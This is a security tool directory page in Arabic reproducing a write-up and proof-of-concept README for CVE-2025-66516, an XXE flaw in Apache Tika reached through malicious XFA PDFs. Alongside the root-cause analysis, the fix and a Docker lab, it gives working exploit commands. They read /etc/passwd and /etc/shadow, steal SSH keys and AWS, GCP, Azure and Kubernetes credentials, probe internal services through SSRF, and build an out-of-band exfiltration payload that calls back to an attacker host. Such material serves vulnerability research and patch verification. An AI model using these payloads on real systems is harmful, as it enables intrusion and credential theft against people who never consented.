Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-66516-Writeup-POC — CVE-2025-66516 استغلال عامل، ماسح ضوئي، شرح. | Kitploit
أدوات/GitHubGitHub/chasingimpact/cve-2025-66516-writeup-poc
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
chasingimpact/cve-2025-66516-writeup-poc

CVE-2025-66516-Writeup-POC

CVE-2025-66516 استغلال عامل، ماسح ضوئي، شرح.

عرض المستودع
1024منذ 9 أشهرلم تتم المراجعة بعد

CVE-2025-66516: ثغرة XXE حرجة في Apache Tika

صورة

ملخص تنفيذي

CVE-2025-66516 هي ثغرة حقن كيان خارجي XML (XXE) حرجة في Apache Tika بدرجة CVSS 10.0 (أقصى خطورة). تسمح الثغرة للمهاجمين عن بعد بقراءة ملفات عشوائية، وتنفيذ تزوير طلب الخادم (SSRF)، وتسريب بيانات حساسة عن طريق تحميل مستند PDF مصمم خصيصًا يحتوي على محتوى XFA (هندسة نماذج XML) ضار.

السمةالقيمة
معرف CVECVE-2025-66516
درجة CVSS10.0 (حرجة)
تاريخ الكشف4 ديسمبر 2025
البائعمؤسسة برمجيات Apache
المنتج المتأثرApache Tika
ناقل الهجومالشبكة (عن بعد)
المصادقةلا شيء مطلوب

الإصدارات المتأثرة

المكونالإصدارات المعرضة للخطرالإصدار الثابت
tika-core1.13 - 3.2.13.2.2+
tika-parser-pdf-module2.0.0 - 3.2.13.2.2+
tika-parsers1.13 - 1.28.52.0.0+

هام: تلغي هذه CVE الإصدار CVE-2025-54988، الذي حدد بشكل غير صحيح وحدة PDF فقط على أنها معرضة للخطر. توجد الثغرة الفعلية في tika-core.


التحليل الفني

الثغرة

الثغرة هي عيب حقن كيان خارجي XML (XXE) في كيفية معالجة Apache Tika لبيانات XFA (هندسة نماذج XML) داخل مستندات PDF.

المشكلة: يعتمد Tika على محللات Java XML الأساسية (تحديدًا محلل StAX) لقراءة محتوى XFA XML. فشلت الإصدارات المعرضة للخطر في تكوين المحلل بشكل صحيح لتعطيل حل الكيانات الخارجية. عندما يواجه المحلل طلب كيان خارجي (مثل SYSTEM "file:///etc/passwd"), فإنه يقوم بحله وإرجاع محتويات الملف.

الموقع: العيب موجود في XMLReaderUtils.getXMLInputFactory() في tika-core:

public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Ineffective
    return factory;
}

كان IGNORING_STAX_ENTITY_RESOLVER يهدف إلى حظر XXE عن طريق إرجاع نتيجة فارغة، لكنه أرجع String بدلاً من InputStream المتوقع. تجاهل محلل StAX الافتراضي في JDK هذا النوع الخاطئ من الإرجاع بصمت وعاد إلى السلوك الافتراضي، الذي يحل الكيانات الخارجية.

الإصلاح (Tika 3.2.2)

يقوم الإصلاح بتعطيل دعم DTD والكيانات الخارجية صراحة على مستوى المصنع:

tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

بالإضافة إلى ذلك، تم تغيير المحلل لإرجاع نوع InputStream مناسب.

الحماية العرضية من Woodstox

في النظام البيئي Java، توجد مكتبات متعددة لمحللات XML. تستخدم التطبيقات أي محلل تم تكوينه أو العثور عليه أولاً في مسار الفئة.

ما هو Woodstox؟ Woodstox هو محلل StAX XML عالي الأداء مفتوح المصدر يُجمَّع عادةً مع تطبيقات Java.

كيف يوفر الحماية: حسب التصميم (وليس عن طريق الصدفة)، يتعامل تنفيذ Woodstox بشكل صحيح مع نوع الإرجاع لـ XMLResolver. عندما يتلقى Woodstox قيمة الإرجاع النصية من IGNORING_STAX_ENTITY_RESOLVER، فإنه يعاملها كمحتوى فارغ صالح، مما يمنع XXE بشكل فعال.

التمييز الحرج:

  • tika-server-standard.jar يضم Woodstox - غير معرض للخطر
  • tika-core + وحدات المحلل (الاستخدام المضمن) لا يضم Woodstox - معرض للخطر
  • التطبيقات التي تستخدم محلل StAX الافتراضي لـ JDK - معرضة للخطر

بداية سريعة

اختبار الثغرة

# 1. Start the lab environment
docker-compose up -d --build

# 2. Test against vulnerable Tika (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Extract /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Compare with protected Tika (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check

بيئة المختبر

هيكل الدليل

CVE-2025-66516/
|-- docker-compose.yml              # Lab orchestration
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika with Woodstox (protected)
|   +-- Dockerfile.jdk-stax         # Tika without Woodstox (VULNERABLE)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Flask upload application
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Automated exploitation tool
|   +-- generate_payload.py         # Malicious PDF generator
+-- README.md

الخدمات

الخدمةالمنفذالوصف
تطبيق الويب8080واجهة تحميل المستندات
Tika (Woodstox)9998محمي - غير معرض للخطر
Tika (JDK StAX)9997معرض للخطر - لا يوجد Woodstox
مستمع المهاجم9999خادم HTTP لاختبار OOB

بدء المختبر

docker-compose up -d --build

أدوات إثبات المفهوم

1. أداة الاستغلال الآلي (exploit.py)

استغلال كامل السلسلة مع توليد تلقائي للحمولة واستخراج البيانات.

# Check if target is vulnerable
python poc/exploit.py --url http://target:9998 --check

# Read local files
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# AWS metadata theft (EC2 instances)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Kubernetes secrets
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF to internal services
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Save extracted data
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. مولد الحمولة (generate_payload.py)

ينشئ ملفات PDF ضارة للاختبار اليدوي أو التكامل مع أدوات أخرى.

# Generate payload for specific file
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Generate SSRF payload
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Generate OOB exfiltration payload
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Use attack mode presets
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# List available attack modes
python poc/generate_payload.py --list-modes

أوضاع الهجوم المتاحة:

  • file_read - قراءة الملفات المحلية (/etc/passwd, /etc/shadow, إلخ.)
  • ssh_keys - سرقة مفاتيح SSH الخاصة
  • aws_metadata - بيانات AWS EC2 الوصفية وبيانات اعتماد IAM
  • gcp_metadata - رموز حسابات خدمة GCP
  • azure_metadata - رموز الهوية المدارة لـ Azure
  • k8s_secrets - بيانات اعتماد حساب خدمة Kubernetes
  • webapp_configs - تكوينات تطبيقات الويب الشائعة
  • ssrf_internal - استكشاف الخدمات الداخلية

نتائج الاختبار

التكوين المعرض للخطر (JDK StAX - بدون Woodstox)

الاختبار ضد Tika 2.9.2 بدون Woodstox (محاكاة النشر المضمن):

الاختبارالنتيجة
اكتشاف XFA[نجاح] تم التعرف على PDF على أنه يحتوي على XFA
تحليل XFA[نجاح] تم استخراج محتوى XFA
قراءة ملف XXE[معرض للخطر] تم تسريب محتويات /etc/passwd
XXE SSRF[معرض للخطر] تم إرسال طلبات خارجية

دليل الاستغلال:

<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

التكوين المحمي (Woodstox StAX)

الاختبار ضد Tika 2.9.2 مع Woodstox (tika-server-standard.jar القياسي):

الاختبارالنتيجة
اكتشاف XFA[نجاح] تم التعرف على PDF على أنه يحتوي على XFA
تحليل XFA[نجاح] تم استخراج محتوى XFA
قراءة ملف XXE[مُحجوب] لم يتم حل الكيانات الخارجية
XXE SSRF[مُحجوب] لا توجد اتصالات صادرة

يظهر الإخراج كيانًا فارغًا:

<li fieldName="data">data: </li>

الاستنتاج

الثغرة حقيقية وحرجة. يعتمد الاستغلال على تنفيذ StAX:

تنزيل الأداة